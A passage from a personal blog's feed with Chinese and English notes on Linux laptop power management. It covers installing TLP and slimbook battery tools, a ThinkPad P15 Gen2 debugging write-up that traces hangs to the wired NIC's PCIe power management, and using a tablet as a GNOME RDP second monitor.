&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ubuntuhandbook.org&#x2F;index.php&#x2F;2020&#x2F;06&#x2F;improve-battery-life-ubuntu-20-04-lts&#x2F;&quot;&gt;https:&#x2F;&#x2F;ubuntuhandbook.org&#x2F;index.php&#x2F;2020&#x2F;06&#x2F;improve-battery-life-ubuntu-20-04-lts&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先安装工具 add-apt-repository：&lt;&#x2F;p&gt;
&lt;p&gt;sudo apt-get install software-properities-common&lt;&#x2F;p&gt;
&lt;p&gt;sudo add-apt-repository ppa:slimbook&#x2F;slimbook&lt;&#x2F;p&gt;
&lt;p&gt;sudo apt update&lt;&#x2F;p&gt;
&lt;p&gt;sudo apt install slimbookbattery&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhuo-mian-ying-yong-tlp-yi-ge-ke-yi-yan-chang-linux-bi-ji-ben-dian-chi-shou-ming-de-gao-ji-dian-yuan-guan-li-gong-ju&quot;&gt;桌面应用|TLP：一个可以延长 Linux 笔记本电池寿命的高级电源管理工具&lt;&#x2F;h2&gt;
&lt;p&gt;笔记本电池是针对 Windows 操作系统进行了高度优化的，当我在笔记本电脑中使用 Windows 操作系统时，我已经意识到这一点，但对于 Linux 来说却不一样。&lt;&#x2F;p&gt;
&lt;p&gt;多年来，Linux 在电池优化方面取得了很大进步，但我们仍然需要做一些必要的事情来改善 Linux 中笔记本电脑的电池寿命。&lt;&#x2F;p&gt;
&lt;p&gt;当我考虑延长电池寿命时，我没有多少选择，但我觉得 TLP 对我来说是一个更好的解决方案，所以我会继续使用它。&lt;&#x2F;p&gt;
&lt;p&gt;在本教程中，我们将详细讨论 TLP 以延长电池寿命。&lt;&#x2F;p&gt;
&lt;p&gt;我们之前在我们的网站上写过三篇关于 Linux &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.2daygeek.com&#x2F;check-laptop-battery-status-and-charging-state-in-linux-terminal&#x2F;&quot;&gt;笔记本电池节电工具&lt;&#x2F;a&gt; 的文章：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.2daygeek.com&#x2F;powertop-monitors-laptop-battery-usage-linux&#x2F;&quot;&gt;PowerTOP&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.2daygeek.com&#x2F;monitor-laptop-battery-charging-state-linux&#x2F;&quot;&gt;电池充电状态&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;tlp-1&quot;&gt;TLP&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;linrunner.de&#x2F;en&#x2F;tlp&#x2F;docs&#x2F;tlp-linux-advanced-power-management.html&quot;&gt;TLP&lt;&#x2F;a&gt; 是一款自由开源的高级电源管理工具，可在不进行任何配置更改的情况下延长电池寿命。&lt;&#x2F;p&gt;
&lt;p&gt;由于它的默认配置已针对电池寿命进行了优化，因此你可能只需要安装，然后就忘记它吧。&lt;&#x2F;p&gt;
&lt;p&gt;此外，它可以高度定制化，以满足你的特定要求。TLP 是一个具有自动后台任务的纯命令行工具。它不包含GUI。&lt;&#x2F;p&gt;
&lt;p&gt;TLP 适用于各种品牌的笔记本电脑。设置电池充电阈值仅适用于 IBM&#x2F;Lenovo ThinkPad。&lt;&#x2F;p&gt;
&lt;p&gt;所有 TLP 设置都存储在 &lt;code&gt;&#x2F;etc&#x2F;default&#x2F;tlp&lt;&#x2F;code&gt; 中。其默认配置提供了开箱即用的优化的节能设置。&lt;&#x2F;p&gt;
&lt;p&gt;以下 TLP 设置可用于自定义，如果需要，你可以相应地进行必要的更改。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;tlp-gong-neng&quot;&gt;TLP 功能&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;内核笔记本电脑模式和脏缓冲区超时&lt;&#x2F;li&gt;
&lt;li&gt;处理器频率调整，包括 “turbo boost”&#x2F;“turbo core”&lt;&#x2F;li&gt;
&lt;li&gt;限制最大&#x2F;最小的 P 状态以控制 CPU 的功耗&lt;&#x2F;li&gt;
&lt;li&gt;HWP 能源性能提示&lt;&#x2F;li&gt;
&lt;li&gt;用于多核&#x2F;超线程的功率感知进程调度程序&lt;&#x2F;li&gt;
&lt;li&gt;处理器性能与节能策略（&lt;code&gt;x86_energy_perf_policy&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;硬盘高级电源管理级别（APM）和降速超时（按磁盘）&lt;&#x2F;li&gt;
&lt;li&gt;AHCI 链路电源管理（ALPM）与设备黑名单&lt;&#x2F;li&gt;
&lt;li&gt;PCIe 活动状态电源管理（PCIe ASPM）&lt;&#x2F;li&gt;
&lt;li&gt;PCI(e) 总线设备的运行时电源管理&lt;&#x2F;li&gt;
&lt;li&gt;Radeon 图形电源管理（KMS 和 DPM）&lt;&#x2F;li&gt;
&lt;li&gt;Wifi 省电模式&lt;&#x2F;li&gt;
&lt;li&gt;关闭驱动器托架中的光盘驱动器&lt;&#x2F;li&gt;
&lt;li&gt;音频省电模式&lt;&#x2F;li&gt;
&lt;li&gt;I&#x2F;O 调度程序（按磁盘）&lt;&#x2F;li&gt;
&lt;li&gt;USB 自动暂停，支持设备黑名单&#x2F;白名单（输入设备自动排除）&lt;&#x2F;li&gt;
&lt;li&gt;在系统启动和关闭时启用或禁用集成的 wifi、蓝牙或 wwan 设备&lt;&#x2F;li&gt;
&lt;li&gt;在系统启动时恢复无线电设备状态（从之前的关机时的状态）&lt;&#x2F;li&gt;
&lt;li&gt;无线电设备向导：在网络连接&#x2F;断开和停靠&#x2F;取消停靠时切换无线电&lt;&#x2F;li&gt;
&lt;li&gt;禁用 LAN 唤醒&lt;&#x2F;li&gt;
&lt;li&gt;挂起&#x2F;休眠后恢复集成的 WWAN 和蓝牙状态&lt;&#x2F;li&gt;
&lt;li&gt;英特尔处理器的动态电源降低 —— 需要内核和 PHC-Patch 支持&lt;&#x2F;li&gt;
&lt;li&gt;电池充电阈值 —— 仅限 ThinkPad&lt;&#x2F;li&gt;
&lt;li&gt;重新校准电池 —— 仅限 ThinkPad&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;ru-he-zai-linux-shang-an-zhuang-tlp&quot;&gt;如何在 Linux 上安装 TLP&lt;&#x2F;h4&gt;
&lt;p&gt;TLP 包在大多数发行版官方存储库中都可用，因此，使用发行版的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.2daygeek.com&#x2F;category&#x2F;package-management&#x2F;&quot;&gt;包管理器&lt;&#x2F;a&gt; 来安装它。&lt;&#x2F;p&gt;
&lt;p&gt;https:&#x2F;&#x2F;linux.cn&#x2F;article-10848-1.html&lt;&#x2F;p&gt;
&lt;h2 id=&quot;diao-shi-linux-she-bei-dian-yuan-guan-li-jie-jue-bi-ji-ben-fa-re-he-xu-hang-wen-ti&quot;&gt;调试 Linux 设备电源管理，解决笔记本发热和续航问题&lt;&#x2F;h2&gt;
&lt;p&gt;长期以来，在笔记本上装 Linux 都会面临发热和电池续航下降（相比于在同一台笔记本上装 Windows）的问题。这个主要是驱动的电源管理不完善，很多设备的省电功能没有启动造成的。不过最近随着主要的厂商（Intel, AMD, Qualcomm 等）拥抱开源，主动编写开源驱动，大部分问题都得到了解决。但由于还是有 bug 存在，并且电源管理的 bug 很容易造成整个系统 hang up, 所以发行版一般都把策略配置得比较保守。现在一般在接入电源是都会停用大部分电源管理功能，使用电池供电时才会启用。这样插电运行的时候就还是发热和耗电很厉害；而如果电源管理有 bug, 就会出现插电运行一切正常，不插电就 hang up 的现象。&lt;&#x2F;p&gt;
&lt;p&gt;前段时间在一台 ThinkPad p15 gen2 上装了 Linux, 就遇到了这个问题，断断续续调了很久，才解决问题。感觉这里的调试方法有参考意义，这里记录一下调试问题的过程。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h3&gt;
&lt;p&gt;ThinkPad p15 gen2 是一个使用 Intel Core CPU 和 Nvidia Quadro 专业显卡的图形工作站。作为图形工作站，它的显卡接口连接方式和一般的笔记本不同。一般的笔记本是核显连接显示输出，独显只能做计算渲染，渲染结果拷贝回核显再进行输出。现在大多数的显卡切换方案，也是按照这个设计来的。但这台笔记本是 intel 核显连接内置显示屏，nvidia 独显连接外置显示屏。这个配置很难配好能适应各种情况的切换方案，由于我主要是连接外置显示器工作的，就在 UEFI 里面把核显禁用了，只用独显。只有在长期出差，没有外置显示器的情况下，才会使用核显。&lt;&#x2F;p&gt;
&lt;p&gt;除了显卡的问题，另外一个更严重的问题就是，这台机器在不接电源的时候，就会在开机进入桌面环境后不久就 hang 住，连关机都关不了，只能按 alt + sysrq + reisub 重启。由于这个机器的网卡声卡什么全都是 intel 的，就只有显卡和 NVMe 硬盘是第三方品牌，我就直接怀疑这两个设备有问题，把它们的电源管理禁用。但问题并没有解决，最后只好把全部 PCIe 设备的电源管理关掉，才没有问题。不过这样就完全没有续航了，2 个小时就耗尽电池。&lt;&#x2F;p&gt;
&lt;p&gt;在这期间，我还遇到了 type-c 供电驱动程序的 bug, 表现也是系统 hang up. 多个问题交织到一起更加增大了调试难度。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;x86-dian-yuan-guan-li-gai-kuang&quot;&gt;x86 电源管理概况&lt;&#x2F;h3&gt;
&lt;p&gt;x86 平台上的电源管理大概分为 3 部分：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;CPU 电源管理：包括 freqency scaling, C-state 这些&lt;&#x2F;li&gt;
&lt;li&gt;平台电源管理：包括待机、休眠、关机、唤醒、电池充放电管理这些&lt;&#x2F;li&gt;
&lt;li&gt;外设设备的电源管理：目前的 x86 上的外设设备主要就分为 PCIe 和 USB 两大类&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;其中，CPU 就只有 Intel AMD 两家，并且文档资料齐全，厂商也支持开源驱动开发，电源管理支持得非常好。平台这块则是 firmware 通过 ACPI 向系统提供接口。这里台式机一般没有问题，但笔记本由于多了合盖检测、背光、电池这些，更加复杂，出问题的可能性比较大，不过老牌厂商，如 ThinkPad, Dell 这些，都经过了内核驱动和 ACPI 固件的长期磨合，一般也问题不大。外设设备中，USB 的规范比较具体，比如 HID 键盘鼠标、摄像头、U 盘这些都有通用协议和驱动（比如通用的 Mass Storage 驱动就可以适用于所有品牌的 U 盘），也不容易出问题。&lt;strong&gt;问题最大的就是 PCIe 设备&lt;&#x2F;strong&gt;，这类设备都是显卡、网卡这类的复杂设备，固件和驱动都很复杂，如果有 bug, 就很容易造成内核错误。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pcie-she-bei-dian-yuan-guan-li&quot;&gt;PCIe 设备电源管理&lt;&#x2F;h3&gt;
&lt;p&gt;PCIe 设备的电源管理有统一的规范和通信协议。一个设备的电源状态分为 D0, D1, D2, D3 4 个状态。其中 D0 是完全启动正常工作，D3 是最深的省电状态。这两个状态是所有设备都要支持的，D1 和 D2 是可选的。CPU 可以通过写入设备的配置寄存器来改变电源状态。PCIe 设备在进入省电状态时，会关闭一部分电路，缓存、寄存器之类的状态信息可能会丢失。这样，在唤醒设备时，就需要重新初始化这部分状态。这需要驱动的密切配合，如果这个过程有 bug, 设备就会进入一个非预期的状态，驱动无法正常和设备通信，就会造成 hang up 之类的问题。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;linux-xia-de-pei-zhi&quot;&gt;Linux 下的配置&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;nei-he&quot;&gt;内核&lt;&#x2F;h4&gt;
&lt;p&gt;Linux 下，每个 PCIe 的电源管理 &lt;code&gt;RUNTIME_PM&lt;&#x2F;code&gt; 可以通过 sysfs 中的开关 &lt;code&gt;&#x2F;sys&#x2F;bus&#x2F;pci&#x2F;devices&#x2F;&amp;lt;address&amp;gt;&#x2F;power&#x2F;control&lt;&#x2F;code&gt; 单独开启或关闭。开关的值可以是&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;on&lt;&#x2F;code&gt;: 设备保持开启状态，即禁用电源管理&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;auto&lt;&#x2F;code&gt;: 自动控制，即启用电源管理&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;yong-hu-kong-jian&quot;&gt;用户空间&lt;&#x2F;h4&gt;
&lt;p&gt;有个 &lt;code&gt;tlp&lt;&#x2F;code&gt; 命令可以根据 &lt;code&gt;&#x2F;etc&#x2F;tlp.conf&lt;&#x2F;code&gt; 中的配置来调整 sysfs 中的各个开关。在多数发行版中，这个命令会通过 udev 规则来触发，在启动过程中、插拔电源的情况下执行。在多数发行版的默认配置中，tlp 会在电池运行时打开 更多省电功能。&lt;&#x2F;p&gt;
&lt;p&gt;另外有个命令是 Intel 开发的 &lt;code&gt;powertop&lt;&#x2F;code&gt;. 这是一个 TUI 应用，可以监控 CPU 的电源、外设状态，以及调整 sysfs 中的电源管理开关。&lt;&#x2F;p&gt;
&lt;p&gt;tlp 适合保存长期、持久化的配置，而 powertop 适合在调试过程中来使用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;diao-shi-guo-cheng&quot;&gt;调试过程&lt;&#x2F;h3&gt;
&lt;p&gt;这台笔记本最严重的问题就是拔掉电源、电池供电时，会随机 hang 住。例如，不插电源开机，一般是可以正常进入桌面环境，但进入桌面环境后，尝试启动一个应用，如 firefox, 就会启动不了。这个时候其它部分看起来都是正常的，但在终端里尝试 kill 掉 firefox, 也会卡住。尝试执行 &lt;code&gt;sudo journcalctl -k&lt;&#x2F;code&gt; 或 &lt;code&gt;dmesg&lt;&#x2F;code&gt; 来检查日志也会卡住。甚至执行 &lt;code&gt;sudo reboot&lt;&#x2F;code&gt; 也会卡住。&lt;&#x2F;p&gt;
&lt;p&gt;这种已经启动的程序运行正常，新程序无法启动的问题，让我地第一时间怀疑问题是硬盘 I&#x2F;O 相关的，于是第一时间通过 tlp 禁用了 NVMe 的电源管理，但是没有效果。考虑到 N 卡是闭源驱动，也禁用了电源管理，也没有效果。&lt;&#x2F;p&gt;
&lt;p&gt;这个时候我还不太了解 powertop 这个工具，就开始对比 tlp 的配置在电源供电和电池供电的状态下有哪些区别。最明显的区别就是，插电状态的默认 PCIe 电源管理是 &lt;code&gt;on&lt;&#x2F;code&gt;, 电池状态是 &lt;code&gt;auto&lt;&#x2F;code&gt;. 这里我把电池状态也改成 &lt;code&gt;on&lt;&#x2F;code&gt; 后，问题基本解决。&lt;&#x2F;p&gt;
&lt;p&gt;但这只能算是个能用的方案。在没有开启设备省电的情况下，机器发热比较厉害，并且电池续航只有大概 2.5 小时。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;为什么说是基本解决呢？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;因为这里还穿插了一个 type-c 供电驱动的 bug, 这个 bug 和 PCIe 电源管理的 bug 混在一起，很难调试。但根据最后的结论，这里关闭 PCIe runtime power management 后，就没有因为 PCIe 设备导致 hang up 的问题了。&lt;&#x2F;p&gt;
&lt;p&gt;这个 type-c bug, 会导致 kernel oops. 在过了一个多月，这个 kernel oops 被修复以后，我才重新找时间去定位 PCIe 的问题。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;到了这一步，我能想到的就是通过二分法去查找因为问题的设备，即每次禁用一半设备的电源管理，看看问题还是否复线。但看到除了 NVMe 和显卡，其它设备全都是 Intel 的，我都怀疑是否有多个设备同时有问题，用 tlp 来配置又还是比较麻烦的，这个问题就脱了很久。&lt;&#x2F;p&gt;
&lt;p&gt;直到两个月后，有几天比较闲，我尝试去 powertop 这个工具里去看一下。这就发现 powertop 可以通过 TUI 列出所有外设并 toggle 每个设备的电源管理开关。于是我决定在插电运行，默认关闭所有 PCIe 设备电源管理的情况下，一个个打开电源管理开关，看看什么时候会出故障。&lt;&#x2F;p&gt;
&lt;p&gt;于是一个终端运行 &lt;code&gt;dmesg&lt;&#x2F;code&gt; 看日志，另一个终端开 powertop. 首先把我没有用的设备打开，看了一下，好像完全没用的就只有有线网卡。按下 Enter 打开电源管理，系统立刻表现出异常，过了十几秒中，耳机里的音乐也停了。所以这就找到问题了？&lt;&#x2F;p&gt;
&lt;p&gt;重启电脑，在 tlp 里面把有线网卡的电源管理禁用，尝试一下拔掉电源，好像没有出现任何问题。再继续使用电脑，多开几个新应用，也都没有问题。所以引起问题的竟然是一个 Intel 的，我根本没有使用的有线网卡？？？因为有线网卡这种设备，在我用过的环境中，从来没有出现过问题；Intel 的设备，也是从来没有出现过问题。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;hou-xu-pei-zhi&quot;&gt;后续配置&lt;&#x2F;h3&gt;
&lt;p&gt;把有线网卡加入 tlp 黑名单后，在电池模式下开启省电，大概有 5.5 小时的续航，续航时间翻了一倍。后面我顺便把插电状态下的 PCIe runtime power management 也打开了。虽然插电时没有电池续航的问题，但打开电源管理能让空闲时的 CPU 温度降低大约 7 度。&lt;&#x2F;p&gt;
&lt;p&gt;想到这个有线网卡我也用不上，后面我干脆在 UEFI 里面把网卡禁用了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;如果一个问题只在不插电的时候出现，那么它大概率和省电配置有关，这时应该去配置 tlp.conf.&lt;&#x2F;li&gt;
&lt;li&gt;Intel 的驱动也可能出问题，不能完全信任。&lt;&#x2F;li&gt;
&lt;li&gt;发行版默认在插电状态下会禁用一下省电配置，如果想要省电&#x2F;静音&#x2F;冷却，应该去修改 tlp.conf 把它打开。（包括台式机）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;powertop&lt;&#x2F;code&gt; 是个调试省电配置的好工具。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux 副屏方案合集</title>
        <published>2024-06-12T00:00:00+00:00</published>
        <updated>2024-06-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux-副屏方案合集/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux-副屏方案合集/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux-副屏方案合集/">&lt;h2 id=&quot;how-to-use-your-tablet-as-a-second-monitor-on-ubuntu&quot;&gt;How to Use Your Tablet as a Second Monitor on Ubuntu&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;I’m surprised just how easy it is to use an iPad or an Android tablet as a second monitor with Ubuntu 22.04 LTS.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Not just mirror your desktop on a mobile device but use the mobile device screen to extend your desktop, like a physically connected external monitor would.&lt;&#x2F;p&gt;
&lt;p&gt;I’m supposed to be on the pulse when it comes to stuff like this. Yet here I am, monsieur slow-train, only just learning of this capability thanks to a casual comment I saw on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;gnome&#x2F;comments&#x2F;uz5as7&#x2F;gnome_has_made_it_super_simple_to_extend_your&#x2F;&quot;&gt;Reddit&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Naturally I had to try it out for myself. I’ve wanted to be able to use a tablet as an external monitor for my Ubuntu laptop for ages — not out of any major need for a second monitor of course, more the satisfaction of knowing  &lt;em&gt;“anything Apple can do…”&lt;&#x2F;em&gt;  Linux can do too!&lt;&#x2F;p&gt;
&lt;p&gt;Good news: it works pretty well — see it in action in this (hastily recorded) video:&lt;&#x2F;p&gt;
&lt;p&gt;[▶ YouTube 视频（需科学上网）：https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=qNZlVAVjsLI]&lt;&#x2F;p&gt;
&lt;p&gt;A short demo (filmed in a hurry)&lt;&#x2F;p&gt;
&lt;p&gt;GNOME developers are to thank for this.&lt;&#x2F;p&gt;
&lt;p&gt;Among &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.omgubuntu.co.uk&#x2F;2022&#x2F;03&#x2F;gnome-42-best-new-features&quot;&gt;new features in GNOME 42&lt;&#x2F;a&gt; were backend tweaks to the remote desktop protocol (RDP) and screen sharing support. Amongst which the ability to extend the GNOME desktop to virtual monitors like a real one.&lt;&#x2F;p&gt;
&lt;p&gt;Latency is a big ask. Using a tablet as an external monitor over RDP is an entirely different use case to simply accessing a desktop over RDP, which is notoriously laggy.&lt;&#x2F;p&gt;
&lt;p&gt;So offset that, GNOME devs added frame-tracking and enhanced hardware acceleration. This &lt;strong&gt;delivers a smooth-as-possible experience&lt;&#x2F;strong&gt; (though as the feature is network dependant don’t expect flawless fluidity on poor&#x2F;slow connections).&lt;&#x2F;p&gt;
&lt;p&gt;In a nutshell, any Linux distro with GNOME 42 (or later) can use a RDP-supported device (e.g., Android tablet, iPad, or another computer) as an external monitor, similar to Apple’s SideCar feature (which lets macOS lets users extend their desktop to an iPad screen wirelessly).&lt;&#x2F;p&gt;
&lt;p&gt;Virtual monitors behave like regular monitors. You can reposition virtual monitors from the &lt;em&gt;Settings &amp;gt; Display&lt;&#x2F;em&gt; panel like physical ones, and set a virtual monitor’s screen resolution independently of your main display.&lt;&#x2F;p&gt;
&lt;p&gt;While this sort of feature is not &lt;em&gt;new&lt;&#x2F;em&gt; new (it’s been possible to use tablets as external monitors for a while, including on Linux) what &lt;em&gt;is&lt;&#x2F;em&gt; new is that all of relevant pieces to make this work are now baked into GNOME desktop.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;enabling-virtual-monitors-in-gnome&quot;&gt;Enabling Virtual Monitors in GNOME&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;Screenshot-from-2022-06-14-13-23-24-840x473-20240613002537-bb2jt3h-778d61.png&quot; alt=&quot;&quot; &#x2F;&gt;
You can connect multiple virtual displays&lt;&#x2F;p&gt;
&lt;p&gt;You need to be using Ubuntu 22.04 LTS (or a Linux distribution based on GNOME 42) or later. The various low-level pieces which make virtual monitors possible are not present in earlier versions of the desktop.&lt;&#x2F;p&gt;
&lt;p&gt;Note: I tested this in an Ubuntu Wayland session but it should work in legacy X11&#x2F;Xorg one too.&lt;&#x2F;p&gt;
&lt;p&gt;First step, open a &lt;em&gt;Terminal&lt;&#x2F;em&gt; window and run: &lt;code&gt;gsettings set org.gnome.desktop.remote-desktop.rdp screen-share-mode extend&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This command is needed to enable &lt;em&gt;extendable&lt;&#x2F;em&gt; virtual monitors over RDP. At present the feature is hidden (because it’s not considered polished enough for the masses to make use of yet, so be aware).&lt;&#x2F;p&gt;
&lt;p&gt;Once you’ve run that command you need to enable Remote Desktop sharing.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;On Ubuntu 22.04 LTS&lt;&#x2F;strong&gt; open &lt;em&gt;Settings&amp;gt;Sharing&lt;&#x2F;em&gt; panel and turn on &lt;em&gt;Sharing&lt;&#x2F;em&gt;. Then, when it appears, turn on the &lt;em&gt;Remote Desktop option&lt;&#x2F;em&gt;. Set up a username and password to allow you to securely connect from your tablet&#x2F;phone.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;On Ubuntu 24.04 LTS&lt;&#x2F;strong&gt; open &lt;em&gt;Settings &amp;gt; System&lt;&#x2F;em&gt; and click on the &lt;em&gt;Remote Desktop&lt;&#x2F;em&gt; entry. On the page that slides in (make sure the &lt;em&gt;Desktop Sharing&lt;&#x2F;em&gt; tab) turn on the &lt;em&gt;Desktop Sharing&lt;&#x2F;em&gt; option. Set up a username and password.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Now all you need is an an RDP client on your tablet or phone. I used Microsoft’s free &lt;em&gt;Remote Desktop Mobile&lt;&#x2F;em&gt; (available for &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;play.google.com&#x2F;store&#x2F;apps&#x2F;details?id=com.microsoft.rdc.androidx&amp;amp;hl=en_US&amp;amp;gl=US&quot;&gt;Android&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;apps.apple.com&#x2F;us&#x2F;app&#x2F;remote-desktop-mobile&#x2F;id714464092&quot;&gt;iOS&lt;&#x2F;a&gt;) to connect to Ubuntu from my iPad. I needed to enter my IP&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.omgubuntu.co.uk&#x2F;2022&#x2F;06&#x2F;use-ipad-as-second-monitor-ubuntu-22-04#382e224c-90b0-4ce1-ba15-251913f53fe3&quot;&gt;1&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; address and login credentials.&lt;&#x2F;p&gt;
&lt;p&gt;Other apps may need&#x2F;prefer other information, like your computer’s hostname and port number. in Ubuntu 24.04 LTS both of those details are shown the Remote Desktop sharing settings page.&lt;&#x2F;p&gt;
&lt;p&gt;Once you’re connected over RDP go back to your Ubuntu machine and open &lt;em&gt;Settings &amp;gt; Display&lt;&#x2F;em&gt;.  Reposition your virtual monitor (i.e. left or right), set a screen resolution, and make any other adjustments that are possible.&lt;&#x2F;p&gt;
&lt;p&gt;Any multi-monitor behaviours you’ve tweaked elsewhere (e.g., ‘show dock on all monitors’) will also be respected by your virtual monitors, which is handy.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;a-few-caveats&quot;&gt;A few caveats&lt;&#x2F;h4&gt;
&lt;p&gt;Once you are connected to your Ubuntu laptop or PC through an RDP app on your iPad everything will “just work”.&lt;&#x2F;p&gt;
&lt;p&gt;Be aware that RDP is a slow protocol. Even with a great Internet connection the experience won’t be fast enough to allow you to use your iPad as a virtual playback monitor for video editing, watching media, or gaming on content as frame rate lag will spoil it.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;And you can’t use touch on your tablet to interact with Ubuntu&lt;&#x2F;strong&gt; apps or the desktop UI, nor use the input, like an Apple Pencil or equivalent, to interact with apps.&lt;&#x2F;p&gt;
&lt;p&gt;When you’re not using RDP be sure to turn off remote desktop in the sharing app. It’s unlikely anyone nearby could access your computer using it but risk reduction never hurts.&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;To find your IP in Ubuntu go to &lt;em&gt;Settings &amp;gt; Network&lt;&#x2F;em&gt;, click the cog icon next to the active network, and find your IP in the ‘Details’ pane. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.omgubuntu.co.uk&#x2F;2022&#x2F;06&#x2F;use-ipad-as-second-monitor-ubuntu-22-04#382e224c-90b0-4ce1-ba15-251913f53fe3-link&quot;&gt;↩︎&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;linuxxia-cha-kan-ben-ji-xian-shi-qi-fen-bian-lu-xrandr-linux-huo-qu-dang-qian-ping-mu-fen-bian-lu&quot;&gt;Linux下查看本机显示器分辨率(xrandr)_linux 获取当前屏幕分辨率&lt;&#x2F;h2&gt;
&lt;p&gt;Linux下查看本机显示器分辨率：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ xrandr
Screen 0: minimum 8 x 8, current 1920 x 1080, maximum 32767 x 32767
DVI-D-0 disconnected (normal left inverted right x axis y axis)
HDMI-0 connected primary 1920x1080+0+0 (normal left inverted right x axis y axis) 553mm x 309mm
   1920x1080      60.0*+   59.9     50.0     60.0     50.0
   1680x1050      60.0
   1440x900       59.9
   1280x1024      75.0     60.0
   1280x960       60.0
   1280x720       60.0     59.9     50.0
   1024x768       75.0     70.1     60.0
   800x600        75.0     72.2     60.3     56.2
   720x576        50.0
   720x480        59.9
   640x480        75.0     72.8     59.9     59.9
DP-0 disconnected (normal left inverted right x axis y axis)
DP-1 disconnected (normal left inverted right x axis y axis)
DP-2 disconnected (normal left inverted right x axis y axis)
DP-3 disconnected (normal left inverted right x axis y axis)
DP-4 disconnected (normal left inverted right x axis y axis)
DP-5 disconnected (normal left inverted right x axis y axis)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;  我的显示器目前设定的分辨率为 1920×1080 (16:9) 。&lt;&#x2F;p&gt;
&lt;p&gt;  我还试着按照&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;blog.csdn.net&#x2F;jcgu&#x2F;article&#x2F;details&#x2F;8650423&quot;&gt;教程&lt;&#x2F;a&gt;来修改显示器分辨率，但是修改失败了。等后面再来尝试。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ cvt 2560 1440
